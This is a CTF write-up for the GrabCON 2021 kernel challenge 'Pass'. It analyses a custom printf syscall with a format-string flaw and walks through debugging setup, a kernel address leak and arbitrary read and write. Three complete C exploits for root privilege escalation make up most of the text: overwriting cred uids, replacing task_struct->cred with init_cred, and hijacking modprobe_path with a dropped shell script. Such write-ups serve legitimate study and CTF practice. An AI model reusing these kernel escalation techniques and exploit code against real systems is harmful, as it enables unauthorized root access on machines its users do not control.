I played GrabCON CTF 2021 to check the challenges. “Pass” especially got my attention because it is a kernel exploitation challenge. I thought it is the best time I work on some kernel challenges. So, I will approach it as a beginner and try to explain as much as I can. I did not solve it during the CTF. Shoutout to 00xc#0275
from Scavengar Security for being the only person who solved it during the CTF. Checkout his writeup also. You can download the challenge file here.
Environment Setup
You get bzImage
, run.sh
and printf.c
files and initramfs
folder when you extract the provided file.
First we will extract vmlinux
file from bzImage
using this script. vmlinux
is uncompressed kernel file. But, we need to convert this into an elf file for getting the symbols. For this, I used this script. I named the elf file vmlinux_elf
.
Second, we need to change some configuration to be able to debug the challenge. For a gdb connection, add -gdb tcp::<port>
to the qemu command in run.sh
. To connect to the connection, start gdb with the vmlinux_elf
file. Then run target remote :<port>
. Adding -S
to the qemu will make it stop until the gdb is connected. I advise to disable kaslr, smep, smap and kpti for the purpose of debugging.
Lastly, to be able to read some files we will change the uid in initramfs/init
file from 1000
to 0
.
To run the challenge we need to compress the initramfs
folder to a cpio archive. I used to following run.sh
file to compile the exploit to test, compress initramfs
and run qemu. (I ran it inside initramfs
folder)
#!/bin/bash
gcc exploit.c -static -o exploit
find . -print0 | cpio --null -ov --format=newc | gzip -1 > ../initramfs.cpio.gz
qemu-system-x86_64 -m 256M -initrd ../initramfs.cpio.gz -kernel ../bzImage -nographic -monitor /dev/null -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" -gdb tcp::9001 -S
Source code analysis
Pass is short for Printf-as-a-syscall. In the provided kernel, a syscall named printf is added which takes an array of char
pointers and implements some printf functionality. The source code is below: -
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/fdtable.h>
MODULE_LICENSE("GPL");
#ifndef __NR_PRINTF
#define __NR_PRINTF 548
#endif
char *itoa(unsigned long value, char *result, int base) {
if (base < 2 || base > 36) { *result = '\0'; return result; }
char* ptr = result, *ptr1 = result, tmp_char;
unsigned long tmp_value;
do {
tmp_value = value;
value /= base;
*ptr++ = "zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz"[35 + (tmp_value - value * base)];
} while ( value );
if (tmp_value < 0) *ptr++ = '-';
*ptr-- = '\0';
while(ptr1 < ptr) {
tmp_char = *ptr;
*ptr--= *ptr1;
*ptr1++ = tmp_char;
}
return result;
}
SYSCALL_DEFINE1(printf, char **, data) {
int i, j, base_alloc_size, off_from_start, cmp_offset, add_offset, found = 0, written_chars = 0, arg_no = 1;
long current_arg;
char *src = data[0];
base_alloc_size = 8;
int len = strlen(src);
char *dest = kmalloc(base_alloc_size, GFP_KERNEL); // allocate base buffer
memset(dest, 0, len*2); // zero out
char *new_string = dest;
for(i = 0; i < len; i++) {
cmp_offset = 0;
add_offset = 0;
if(*src == '%') {
// check if there is a dollar notation in format string
for(j = 1; j <= 9; j++) {
if(*(src+j) == '$') {
found = 1;
break;
}
else if(*(src+j) == 'p' || *(src+j) == 'n' || *(src+j) == 'h' || *(src+j) == 's' || *(src+j) == 'c') {
break;
}
}
// if yes, get the position
if(found) {
char tmp[8] = {0}, *substr = strchr(src, '$');
int len = substr - (src+1);
strncpy(tmp, src+1, len);
kstrtol(tmp, 10, ¤t_arg);
add_offset = strlen(tmp)+1;
cmp_offset = add_offset;
} else {
add_offset = 0x2;
current_arg = arg_no;
arg_no++;
}
// code for different format strings
if(*(src+cmp_offset+0x1) == 'p') {
char num[24] = {0};
itoa((unsigned long)data[current_arg],num,16);
off_from_start = dest - new_string;
new_string = krealloc(new_string,base_alloc_size+strlen(num)+0x2, GFP_KERNEL);
base_alloc_size += strlen(num);
dest = new_string + off_from_start;
strncpy(dest,"0x",2);
strncpy(dest+2,num,strlen(num));
dest += strlen(num)+0x2;
src += add_offset;
written_chars++;
}
else if(*(src+cmp_offset+0x1) == 'n') {
*(unsigned int *)data[current_arg] = (unsigned int)written_chars;
src += add_offset;
}
else if(*(src+cmp_offset+0x1) == 'h') {
if(*(src+cmp_offset+0x2) == 'n') {
*(unsigned short *)data[current_arg] = (unsigned short)written_chars;
src += (add_offset + 0x1);
}
else if(*(src+cmp_offset+0x2) == 'h' && *(src+cmp_offset+0x3) == 'n') {
*(unsigned char *)data[current_arg] = (unsigned char)written_chars;
src += (add_offset + 0x2);
}
}
else if(*(src+cmp_offset+0x1) == 's') {
int string_len = strlen(data[current_arg]);
off_from_start = dest - new_string;
new_string = krealloc(new_string,base_alloc_size+string_len, GFP_KERNEL);
base_alloc_size += string_len;
dest = new_string + off_from_start;
strncpy(dest,data[current_arg],strlen(data[current_arg]));
dest += string_len;
src += add_offset;
}
else if(*(src+cmp_offset+0x1) == 'c') {
// TODO: implement actual functionality of %c
src += 0x2;
written_chars++;
}
else if(*(src+cmp_offset+0x1) >= '0' && *(src+cmp_offset+0x1) <= '9') {
int dbg;
long len;
long num;
char tmp[8] = {0};
if(found) {
printk(KERN_ERR "\"c\" format string cannot be used with dollar notation\n");
kfree(new_string);
return -1;
}
for(j = 0; j < 8; j++) {
if(j >= 7) {
printk(KERN_ERR "too long number; len = %ld\n", len);
kfree(new_string);
return -1;
}
if(*(src+0x1+j) >= '0' && *(src+0x1+j) <= '9');
else if(*(src+0x1+j) == 'c') {
len = j;
break;
}
else {
printk(KERN_ERR "invalid format string\n");
kfree(new_string);
return -1;
}
}
strncpy(tmp, (src+cmp_offset+0x1), len);
kstrtol(tmp, 10, &num);
written_chars += num;
src += (len + add_offset);
// TODO: implement actual functionality of %c
}
src += cmp_offset;
} else {
off_from_start = dest - new_string;
new_string = krealloc(new_string,++base_alloc_size, GFP_KERNEL);
dest = new_string + off_from_start;
*dest++ = *src++;
written_chars++;
}
found = 0;
}
kernel_write(fdget_pos(0).file, new_string, strlen(new_string), 0); // output result
kfree(new_string); // free buffer
return 0;
}
Reading the code reveals that we can: -
- print a value as pointer.
- print a string.
- write (restricted) int, short and char values.
- use the direct access method to set
current_arg
. (indexes are 0-based) - use the width feature to increase
written_chars
to whatever value we want.
But, there are no checks. The pointers are not checked if they are userspace pointers or kernelspace. (userspace addresses have their first bit (MSB) set to null). So, we have arbitrary read and write primitives here. Just like a format string vuln.
Also, there is no null termination of the string to be printed.
The resultant string is written to stdin
.
Pre-Exploitation
Setup
First of all, we need to get output of the syscall. We cannot read it via read, fread, scanf etc. I used fifo pipes for this. I replaced the stdin of my exploit to a fifo. This way the output is written to the fifo file and I can read it using simple file operations.
But, this approach has its own peculiarities. We need to read all the remaining contents of the fifo file before reading any new input, otherwise the outputs get mixed. For this I used clear_stdin
function to clear the stdin.
Also, fifos are unseekable. So, we cannot change the offset pointer to read any offset.
I created a helper function read_ptr_stdin
to read a QWORD from the fifo file.
My setup is below: -
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#define SYSCALL_NO 548
int fd = -1;
__attribute__((constructor)) void init(){
mkfifo("/home/user/stdin_fifo", 0666);
freopen("/home/user/stdin_fifo", "r+", stdin);
fd = open("/home/user/stdin_fifo", O_RDWR);
}
int bytes_left(){
int nbytes;
ioctl(fd, FIONREAD, &nbytes);
return nbytes;
}
int clear_stdin(){
int size = bytes_left();
char *buf = malloc(size);
int ret = read(fd, buf, size);
free(buf);
return ret;
}
uint64_t read_ptr_stdin(){
uint64_t ptr = 0;
int n = bytes_left();
if(n > 0){
read(fd, &ptr, 8);
}
return ptr;
}
int main(int argc, char *argv[]){
char *data[] = {argv[1]};
syscall(SYSCALL_NO, data);
int size = bytes_left();
char *buf = malloc(size);
read(fd, buf, size);
printf("%s\n", buf);
}
Getting a leak
Having arbitrary read and write primitives is useless without a kernel leak.
For the leak, I will abuse the fact that there is no null termination.
Since the string is allocated on kernel, there is a high chance that there are string adjacent to out string. In kernel heap, (as far as I know) heap allocations of same size are adjacent to each other (like jemalloc). Upon trial-and-error, I found that giving a 8-byte length string, leaks a heap pointer which is adjacent to out string.
I added xxd
to initramfs
to check the raw bytes.
/ $ ./exploit 12345678 | xxd
00000000: 3132 3334 3536 3738 50b5 0204 8088 ffff 12345678P.......
00000010: 3a61 2d30 3030 3030 3634 0a :a-0000064.
It turns out that this pointer points to some strings and some pointers. But, after that there is a kernel address.
gef➤ telescope 0xffff88800402b550 70
0xffff88800402b550│+0x0000: 0x6f6c2f6572616873 → 0x6f6c2f6572616873
0xffff88800402b558│+0x0008: 0xffff88800402b570 → 0x6f6c2f6572616873 → 0x6f6c2f6572616873
0xffff88800402b560│+0x0010: 0x6f6c2f6572616873 → 0x6f6c2f6572616873
0xffff88800402b568│+0x0018: 0xffff88800402b5a0 → 0x6f6c2f6572616873 → 0x6f6c2f6572616873
0xffff88800402b570│+0x0020: 0x6f6c2f6572616873 → 0x6f6c2f6572616873
[truncated]
0xffff88800402b760│+0x0210: 0xffffffff82074ec0 → 0x0000000000000000 → 0x0000000000000000
[truncated]
Thanks to the symbols, it turns out to be the address of tty_dev_attr_group
.
# readelf -Ws ./vmlinux_elf| grep ffffffff82074ec0
30380: ffffffff82074ec0 0 OBJECT LOCAL DEFAULT 2 tty_dev_attr_group
Its offset from kernel base (startup_64) is 0xffffffff82074ec0 - 0xffffffff81000000 = 0x1074ec0
.
But the offset between the leaked pointer and between tty_dev_attr_group
address is not constant. So, we have to leak a couple of values and check each value. I created get_leak
function for this.
I implemented the arbitrary read in arb_read
and made a wrapper arb_read_ptr
around it because sometimes the values had null bytes in them.
uint64_t arb_read(uint64_t ptr){
clear_stdin();
char *data[] = {"%s", ptr};
syscall(SYSCALL_NO, data);
}
uint64_t arb_read_ptr(uint64_t ptr){
char tmp[8];
uint64_t ret;
arb_read(ptr);
ret = read_ptr_stdin();
if(strlen(&ret) != 8){
for(int i = 0; i < 8; i++){
arb_read(ptr + i);
tmp[i] = read_ptr_stdin() & 0xff;
}
ret = *(uint64_t *)tmp;
}
return ret;
}
uint64_t get_leak(){
uint64_t leak, ptr;
int offset = 0x150; // because the tty_dev_attr_group is always after this offset
char *data[] = {"12345678"};
syscall(SYSCALL_NO, data);
read_ptr_stdin(); // discard "12345678"
ptr = read_ptr_stdin(); // heap leak
clear_stdin();
while((leak & 0xffff) != 0x4ec0){
leak = arb_read_ptr(ptr + offset);
offset += 8;
}
return leak;
}
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
printf("kernel base: %p\n", kbase);
}
Exploitation
In kernel pwn, our objective is to escalate our privileges to root. It is usually done in two ways.
- Overwriting the uids (uid, gid, euid, egid etc) in
cred
oftask_struct
of the current process. - Executing
commit_creds(prepare_kernel_creds(0))
.
What is task_struct and cred?
In linux, every process has a task_struct associated with it. It contains all information about the process (pid, file name, etc). It has a member called cred
of type struct cred
. It contains information about the privileges of the process (uid, gid, euid etc).
struct task_struct {
[truncated]
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
[truncated]
struct cred {
[truncated]
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
[truncated]
You can have a look at their full structure. task_struct cred
task_struct is stored at a fixed offset (current_task
) from __per_cpu_offset
. The __per_cpu_offset
is an array of pointers to addresses which is fixed for a cpu but is subjected to kaslr (meaning it has a fixed offset from kernel base).
# readelf -Ws ./vmlinux_elf| grep -E '__per_cpu_offset| current_task'
92101: 0000000000016d00 0 OBJECT GLOBAL DEFAULT ABS current_task
118643: ffffffff824176a0 0 OBJECT GLOBAL DEFAULT 2 __per_cpu_offset
So, the address of task_struct of current process is *(*__per_cpu_offset[0]+0x16d00)
.
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
uint64_t per_cpu_offset = kbase + 0x14176a0;
ptr = arb_read_ptr(per_cpu_offset);
uint64_t task_struct = arb_read_ptr(ptr + 0x16d00);
printf("kernel base: %p\n", kbase);
printf("task_struct: %p\n", task_struct);
}
You can have a look at this for clearing things. Let’s get to actual exploitation now.
Overwriting uids in task_struct->cred
As I explained earlier, task_struct->cred
stores uid, gid, euid etc of the process. For escalating, we can overwrite these to make the kernel think that a process was started by root
.
For this we need to get the offset of cred
in task_struct
. Usually, it is done by making a kernel module. But, I wanted to have some other solution. I looked at the source code of prepare_creds
function and it accessed the cred
member from current task_struct
. When I decompiled the function I saw the offset used.
gef➤ disas prepare_creds
Dump of assembler code for function prepare_creds:
0xffffffff8108d1e0 <+0>: push r12
0xffffffff8108d1e2 <+2>: mov rdi,QWORD PTR [rip+0x1e06fe7] # 0xffffffff82e941d0
0xffffffff8108d1e9 <+9>: mov esi,0xcc0
0xffffffff8108d1ee <+14>: push rbp
0xffffffff8108d1ef <+15>: mov rbp,QWORD PTR gs:0x16d00 <-- current_task offset
0xffffffff8108d1f8 <+24>: call 0xffffffff811de460 <kmem_cache_alloc>
0xffffffff8108d1fd <+29>: test rax,rax
0xffffffff8108d200 <+32>: je 0xffffffff8108d341 <prepare_creds+353>
0xffffffff8108d206 <+38>: mov rbp,QWORD PTR [rbp+0x6b8] <-- cred offset
0xffffffff8108d20d <+45>: mov rdi,rax
0xffffffff8108d210 <+48>: mov ecx,0x16
0xffffffff8108d215 <+53>: mov r12,rax
0xffffffff8108d218 <+56>: mov rsi,rbp
0xffffffff8108d21b <+59>: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
0xffffffff8108d21e <+62>: mov DWORD PTR [rax],0x1
0xffffffff8108d224 <+68>: mov DWORD PTR [rax+0xa0],0x0
0xffffffff8108d22e <+78>: mov rax,QWORD PTR [rax+0x98]
0xffffffff8108d235 <+85>: lock inc DWORD PTR [rax]
0xffffffff8108d238 <+88>: mov eax,0x1
[truncated]
So, we got 0x6b8
as offset. Let’s add this to our exploit.
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
uint64_t per_cpu_offset = kbase + 0x14176a0;
ptr = arb_read_ptr(per_cpu_offset);
uint64_t task_struct = arb_read_ptr(ptr + 0x16d00);
uint64_t current_cred_addr = task_struct + 0x6b8;
uint64_t current_cred = arb_read_ptr(current_cred_addr);
printf("kernel base: %p\n", kbase);
printf("task_struct: %p\n", task_struct);
printf("current cred: %p\n", current_cred);
}
Now we just need to write 0
to the uids. Initially I overwrote all six with zero. Upon trial-and-error, I found out that overwriting only uid
and euid
is enough. I changed the uid in init
back to 1000
to see it in gdb. I found out that the uids start after an int.
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
uint64_t per_cpu_offset = kbase + 0x14176a0;
ptr = arb_read_ptr(per_cpu_offset);
uint64_t task_struct = arb_read_ptr(ptr + 0x16d00);
uint64_t current_cred_addr = task_struct + 0x6b8;
uint64_t current_cred = arb_read_ptr(current_cred_addr);
printf("kernel base: %p\n", kbase);
printf("task_struct: %p\n", task_struct);
printf("current cred: %p\n", current_cred);
char *data[] = {"%n%n",
current_cred + 1*4, // uid
current_cred + 5*4 // euid
};
syscall(SYSCALL_NO, data);
system("id; cat /root/flag.txt");
}
Unfortunately, we cannot get a shell because our stdin is set to the fifo. I just called id
to check if the overwrite worked and read the flag.
Overwrite task_struct->cred to init_cred
If you don’t want to overwrite the uids or due to some reason you can only write 8 bytes, you can overwrite current task_struct->cred
with init_cred
. init_cred
is a default cred
which is used for init_task
. You can get the address from vmlinux_elf
and calculate the offset.
# readelf -Ws ./vmlinux_elf| grep init_cred
118934: ffffffff8264e400 0 OBJECT GLOBAL DEFAULT 12 init_cred
0xffffffff8264e400 - 0xffffffff81000000 = 0x164e400
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
uint64_t per_cpu_offset = kbase + 0x14176a0;
ptr = arb_read_ptr(per_cpu_offset);
uint64_t task_struct = arb_read_ptr(ptr + 0x16d00);
uint64_t current_cred_addr = task_struct + 0x6b8;
uint64_t init_cred = kbase + 0x164e400;
printf("kernel base: %p\n", kbase);
printf("task_struct: %p\n", task_struct);
printf("current cred address: %p\n", current_cred_addr);
printf("init_cred: %p\n", init_cred);
}
I made a function write_long
for writing it once because if we write it in parts, a check will result in a segfault. The check is done during kernel_write
to check whether the file has proper permissions; which is done using the cred
. If we write in parts, cred
will point to some other place (maybe non-existent) and will result in segfault.
void write_long(uint64_t where, uint64_t what){
char fmt[0x50];
uint32_t part1 = what & 0xffffffff, part2 = what >> 32;
uint16_t part1_lower = part1 & 0xffff, part1_upper = part1 >> 16;
uint16_t part2_lower = part2 & 0xffff, part2_upper = part2 >> 16;
sprintf(fmt, "%%%dc%%1$hn%%%dc%%2$hn%%%dc%%3$hn%%%dc%%4$hn", part1_lower,
(part1_upper > part1_lower) ? part1_upper - part1_lower : part1_upper - part1_lower + 0x10000,
(part2_lower > part1_upper) ? part2_lower - part1_upper : part2_lower - part1_upper + 0x10000,
(part2_upper > part2_lower) ? part2_upper - part2_lower : part2_upper - part2_lower + 0x10000
);
char *data[] = {fmt, where, where + 2, where + 4, where + 6};
syscall(SYSCALL_NO, data);
}
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
uint64_t per_cpu_offset = kbase + 0x14176a0;
ptr = arb_read_ptr(per_cpu_offset);
uint64_t task_struct = arb_read_ptr(ptr + 0x16d00);
uint64_t current_cred_addr = task_struct + 0x6b8;
uint64_t init_cred = kbase + 0x164e400;
printf("kernel base: %p\n", kbase);
printf("task_struct: %p\n", task_struct);
printf("current cred address: %p\n", current_cred_addr);
printf("init_cred: %p\n", init_cred);
write_long(current_cred_addr, init_cred);
system("id; cat /root/flag.txt");
}
Modprobe method
This is more of a shortcut especially for ctfs. You can read the details here. Bascially, it lets us execute any program/script as root. For this, we just need address of modprobe_path
. Then, write path to out program/script to run as root and execute a script with invalid header. I modified init
function for making a shell script to get the flag and a file with invalid header. Note that you won’t get the output of the shell script, so I used the script to make the flag file world-readable.
# readelf -Ws ./vmlinux_elf| grep -E 'modprobe_path'
118942: ffffffff8264ec60 0 OBJECT GLOBAL DEFAULT 12 modprobe_path
0xffffffff8264ec60 - 0xffffffff81000000 = 0x164ec60
__attribute__((constructor)) void init(){
mkfifo("/home/user/check_fifo", 0666);
freopen("/home/user/check_fifo", "r+", stdin);
fd = open("/home/user/check_fifo", O_RDWR);
system("echo '#!/bin/sh\nchmod 777 /root/flag.txt' > /home/user/to_exec.sh; echo -ne '\\xff\\xff\\xff\\xff' > /home/user/invalid; chmod +x /home/user/to_exec.sh; chmod +x /home/user/invalid");
}
void write_byte(uint64_t where, uint8_t what){
char fmt[0x30];
sprintf(fmt, "%%%dc%%1$hhn", what);
char *data[] = {fmt, where};
syscall(SYSCALL_NO, data);
}
void write_str(uint64_t addr, char *str){
for(int i = 0; i < strlen(str); i++){
write_byte(addr + i, str[i]);
}
}
int main(int argc, char *argv[]){
uint64_t ptr = get_leak(); // tty_dev_attr_group
uint64_t kbase = ptr - 0x1074ec0;
uint64_t modprobe_path = kbase + 0x164ec60;
printf("kernel base: %p\n", kbase);
printf("modprobe_path: %p\n", modprobe_path);
write_str(modprobe_path, "/home/user/to_exec.sh");
system("/home/user/invalid");
system("cat /root/flag.txt");
}
Final exploits
Overwriting uids in task_struct->cred
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#define SYSCALL_NO 548
int fd = -1;
__attribute__((constructor)) void init(){
mkfifo("/home/user/stdin_fifo", 0666);
freopen("/home/user/stdin_fifo", "r+", stdin);
fd = open("/home/user/stdin_fifo", O_RDWR);
}
int bytes_left(){
int nbytes;
ioctl(fd, FIONREAD, &nbytes);
return nbytes;
}
int clear_stdin(){
int size = bytes_left();
char *buf = malloc(size);
int ret = read(fd, buf, size);
free(buf);
return ret;
}
uint64_t read_ptr_stdin(){
uint64_t ptr = 0;
int n = bytes_left();
if(n > 0){
read(fd, &ptr, 8);
}
return ptr;
}
uint64_t arb_read(uint64_t ptr){
clear_stdin();
char *data[] = {"%s", ptr};
syscall(SYSCALL_NO, data);
}
uint64_t arb_read_ptr(uint64_t ptr){
char tmp[8];
uint64_t ret;
arb_read(ptr);
ret = read_ptr_stdin();
if(strlen(&ret) != 8){
for(int i = 0; i < 8; i++){
arb_read(ptr + i);
tmp[i] = read_ptr_stdin() & 0xff;
}
ret = *(uint64_t *)tmp;
}
return ret;
}
uint64_t get_leak(){
uint64_t leak, ptr;
int offset = 0;
char *data[] = {"12345678"};
syscall(SYSCALL_NO, data);
read_ptr_stdin();
ptr = read_ptr_stdin();
printf("%p\n", ptr);
clear_stdin();
while((leak & 0xffff) != 0x4ec0){
leak = arb_read_ptr(ptr + offset);
offset += 8;
}
return leak;
}
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
uint64_t per_cpu_offset = kbase + 0x14176a0;
ptr = arb_read_ptr(per_cpu_offset);
uint64_t task_struct = arb_read_ptr(ptr + 0x16d00);
uint64_t current_cred_addr = task_struct + 0x6b8;
uint64_t current_cred = arb_read_ptr(current_cred_addr);
printf("kernel base: %p\n", kbase);
printf("task_struct: %p\n", task_struct);
printf("current cred: %p\n", current_cred);
char *data[] = {"%n%n",
current_cred + 1*4, // uid
current_cred + 5*4 // euid
};
syscall(SYSCALL_NO, data);
system("id; cat /root/flag.txt");
}
Overwrite task_struct->cred to init_cred
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#define SYSCALL_NO 548
int fd = -1;
__attribute__((constructor)) void init(){
mkfifo("/home/user/stdin_fifo", 0666);
freopen("/home/user/stdin_fifo", "r+", stdin);
fd = open("/home/user/stdin_fifo", O_RDWR);
}
int bytes_left(){
int nbytes;
ioctl(fd, FIONREAD, &nbytes);
return nbytes;
}
int clear_stdin(){
int size = bytes_left();
char *buf = malloc(size);
int ret = read(fd, buf, size);
free(buf);
return ret;
}
uint64_t read_ptr_stdin(){
uint64_t ptr = 0;
int n = bytes_left();
if(n > 0){
read(fd, &ptr, 8);
}
return ptr;
}
uint64_t arb_read(uint64_t ptr){
clear_stdin();
char *data[] = {"%s", ptr};
syscall(SYSCALL_NO, data);
}
uint64_t arb_read_ptr(uint64_t ptr){
char tmp[8];
uint64_t ret;
arb_read(ptr);
ret = read_ptr_stdin();
if(strlen(&ret) != 8){
for(int i = 0; i < 8; i++){
arb_read(ptr + i);
tmp[i] = read_ptr_stdin() & 0xff;
}
ret = *(uint64_t *)tmp;
}
return ret;
}
uint64_t get_leak(){
uint64_t leak, ptr;
int offset = 0;
char *data[] = {"12345678"};
syscall(SYSCALL_NO, data);
read_ptr_stdin();
ptr = read_ptr_stdin();
printf("%p\n", ptr);
clear_stdin();
while((leak & 0xffff) != 0x4ec0){
leak = arb_read_ptr(ptr + offset);
offset += 8;
}
return leak;
}
void write_long(uint64_t where, uint64_t what){
char fmt[0x50];
uint32_t part1 = what & 0xffffffff, part2 = what >> 32;
uint16_t part1_lower = part1 & 0xffff, part1_upper = part1 >> 16;
uint16_t part2_lower = part2 & 0xffff, part2_upper = part2 >> 16;
sprintf(fmt, "%%%dc%%1$hn%%%dc%%2$hn%%%dc%%3$hn%%%dc%%4$hn", part1_lower,
(part1_upper > part1_lower) ? part1_upper - part1_lower : part1_upper - part1_lower + 0x10000,
(part2_lower > part1_upper) ? part2_lower - part1_upper : part2_lower - part1_upper + 0x10000,
(part2_upper > part2_lower) ? part2_upper - part2_lower : part2_upper - part2_lower + 0x10000
);
char *data[] = {fmt, where, where + 2, where + 4, where + 6};
syscall(SYSCALL_NO, data);
}
int main(int argc, char *argv[]){
uint64_t ptr = get_leak();
uint64_t kbase = ptr - 0x1074ec0;
uint64_t per_cpu_offset = kbase + 0x14176a0;
ptr = arb_read_ptr(per_cpu_offset);
uint64_t task_struct = arb_read_ptr(ptr + 0x16d00);
uint64_t current_cred_addr = task_struct + 0x6b8;
uint64_t init_cred = kbase + 0x164e400;
printf("kernel base: %p\n", kbase);
printf("task_struct: %p\n", task_struct);
printf("current cred address: %p\n", current_cred_addr);
printf("init_cred: %p\n", init_cred);
write_long(current_cred_addr, init_cred);
system("id; cat /root/flag.txt");
}
Modprobe method
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#define SYSCALL_NO 548
int fd = -1;
__attribute__((constructor)) void init(){
mkfifo("/home/user/check_fifo", 0666);
freopen("/home/user/check_fifo", "r+", stdin);
fd = open("/home/user/check_fifo", O_RDWR);
system("echo '#!/bin/sh\nchmod 777 /root/flag.txt' > /home/user/to_exec.sh; echo -ne '\\xff\\xff\\xff\\xff' > /home/user/invalid; chmod +x /home/user/to_exec.sh; chmod +x /home/user/invalid");
}
int bytes_left(){
int nbytes;
ioctl(fd, FIONREAD, &nbytes);
return nbytes;
}
int clear_stdin(){
int size = bytes_left();
char *buf = malloc(size);
int ret = read(fd, buf, size);
free(buf);
return ret;
}
uint64_t read_ptr_stdin(){
uint64_t ptr = 0;
int n = bytes_left();
if(n > 0){
read(fd, &ptr, 8);
}
return ptr;
}
uint64_t arb_read(uint64_t ptr){
clear_stdin();
char *data[] = {"%s", ptr};
syscall(SYSCALL_NO, data);
}
uint64_t arb_read_ptr(uint64_t ptr){
char tmp[8];
uint64_t ret;
arb_read(ptr);
ret = read_ptr_stdin();
if(strlen(&ret) != 8){
for(int i = 0; i < 8; i++){
arb_read(ptr + i);
tmp[i] = read_ptr_stdin() & 0xff;
}
ret = *(uint64_t *)tmp;
}
return ret;
}
uint64_t get_leak(){
uint64_t leak, ptr;
int offset = 0;
char *data[] = {"12345678"};
syscall(SYSCALL_NO, data);
read_ptr_stdin();
ptr = read_ptr_stdin();
printf("%p\n", ptr);
clear_stdin();
while((leak & 0xffff) != 0x4ec0){
leak = arb_read_ptr(ptr + offset);
offset += 8;
}
return leak;
}
void write_byte(uint64_t where, uint8_t what){
char fmt[0x30];
sprintf(fmt, "%%%dc%%1$hhn", what);
char *data[] = {fmt, where};
syscall(SYSCALL_NO, data);
}
void write_str(uint64_t addr, char *str){
for(int i = 0; i < strlen(str); i++){
write_byte(addr + i, str[i]);
}
}
int main(int argc, char *argv[]){
uint64_t ptr = get_leak(); // tty_dev_attr_group
uint64_t kbase = ptr - 0x1074ec0;
uint64_t modprobe_path = kbase + 0x164ec60;
printf("kernel base: %p\n", kbase);
printf("modprobe_path: %p\n", modprobe_path);
write_str(modprobe_path, "/home/user/to_exec.sh");
system("/home/user/invalid");
system("cat /root/flag.txt");
}
Lastly, I want to say that I might have got some things wrong, if you know about it or want to discuss something or have any questions, ping me on discord stdnoerr#7880
.
I want to say thanks to Bitfriends#2070
for making this challenge.